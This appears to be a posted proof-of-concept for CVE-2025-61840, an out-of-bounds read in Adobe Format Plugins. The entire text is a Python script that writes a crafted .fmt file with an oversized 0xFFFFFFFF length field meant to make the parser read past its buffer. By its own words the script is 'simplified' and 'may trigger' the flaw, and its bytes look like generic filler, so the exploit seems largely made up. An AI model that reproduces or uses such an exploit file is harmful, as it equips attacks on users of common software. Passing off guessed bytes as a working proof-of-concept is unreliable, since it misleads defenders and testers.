CVE-2025-61840 Adobe Format Plugins越界读取漏洞

# CVE-2025-61840 PoC - Adobe Format Plugins Out-of-bounds Read # This PoC demonstrates the vulnerability in a simplified manner # The actual exploitation requires crafting a malicious file for Adobe Format Plugins import struct import os def create_malicious_file(output_path): """ Create a malicious file to trigger CVE-2025-61840 This PoC generates a minimal test file that may trigger the out-of-bounds read """ # File header for Format Plugins header = b'FPKT' # Format Plugin signature # Version field (vulnerable version) version = struct.pack('<I', 1) # Version 1.x # Malformed data designed to trigger OOB read # This creates a scenario where the parser reads beyond buffer boundaries malicious_data = b'\x00' * 100 # Add specific trigger bytes trigger = b'\xFF\xFF\xFF\xFF\x00\x00\x00\x00' # Crafted metadata section metadata = b'META' metadata += struct.pack('<I', 0xFFFFFFFF) # Large size value metadata += b'\x00' * 50 # Combine all sections poc_file = header + version + malicious_data + trigger + metadata with open(output_path, 'wb') as f: f.write(poc_file) print(f"[*] PoC file created: {output_path}") print(f"[*] File size: {len(poc_file)} bytes") print(f"[*] This file may trigger CVE-2025-61840 in Adobe Format Plugins <= 1.1.1") if __name__ == '__main__': output_file = 'CVE-2025-61840_poc.fmt' create_malicious_file(output_file) print("\n[!] Note: This PoC is for educational and testing purposes only") print("[!] Do not use for malicious activities")